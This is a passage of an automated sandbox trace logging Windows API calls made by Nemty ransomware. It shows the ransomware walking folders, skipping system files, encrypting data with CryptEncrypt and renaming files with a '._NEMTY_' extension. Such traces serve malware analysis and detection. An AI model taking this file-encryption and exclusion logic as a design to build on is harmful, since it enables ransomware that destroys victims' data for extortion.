Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.361] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.466] CloseHandle (hObject=0xffffffff) returned 0 [0135.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png._nemty_kgobjgd_")) returned 0 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.467] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389b9643, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2=".") returned 1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="..") returned 1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="...") returned 1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="windows") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="$RECYCLE.BIN") returned 1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="rsa") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="NTDETECT.COM") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="ntldr") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="MSDOS.SYS") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="IO.SYS") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="boot.ini") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="boot.ini") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="ntuser.dat") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="desktop.ini") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="CONFIG.SYS") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="RECYCLER") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="BOOTSECT.BAK") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="bootmgr") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="programdata") returned -1 [0135.467] lstrcmpiW (lpString1="2.png", lpString2="appdata") returned -1 [0135.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0135.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0135.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0135.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0135.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.468] Sleep (dwMilliseconds=0x5) [0135.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4646930, dwHighDateTime=0x1d561e8)) [0135.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4646930, dwHighDateTime=0x1d561e8)) [0135.468] GetLastError () returned 0x5 [0135.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.468] GetLastError () returned 0x5 [0135.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.468] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.468] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.469] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.469] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="Wy1ZhR1TvnRZUVAECtYkxwsPLXPFoDYhPCaK8pe2eheyfkIpZuLkcLB7i/PJku/9\r\n3Wj0/NlnvBTiz06Xstv61rTBckjfyYk1bMp9LksmkyjEqKz1MF2OACXxWn6ahvxD\r\n1ma2vAGR1Cl5r2lD2sDeQlOAmxuWE5o6ptgLIGtO/UiamKWbOrsBS6lqj+CKPSE+\r\nGrLSWRP4fnUPTDI/ka52f7G13h69ESdB/D5FRMqoQYxqzHB9ft5T/veJYmcOjTGW\r\nDCkN+cv/EbkLBoV+WUHTkJN+N7Cx2LRhF7ajre2n9v+27N5YEXa+XuyusjcAhlh2\r\nhExumXcjl5ppyxIS73n9HQ==\r\n", pcchString=0x653e91c) returned 1 [0135.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.469] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.469] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 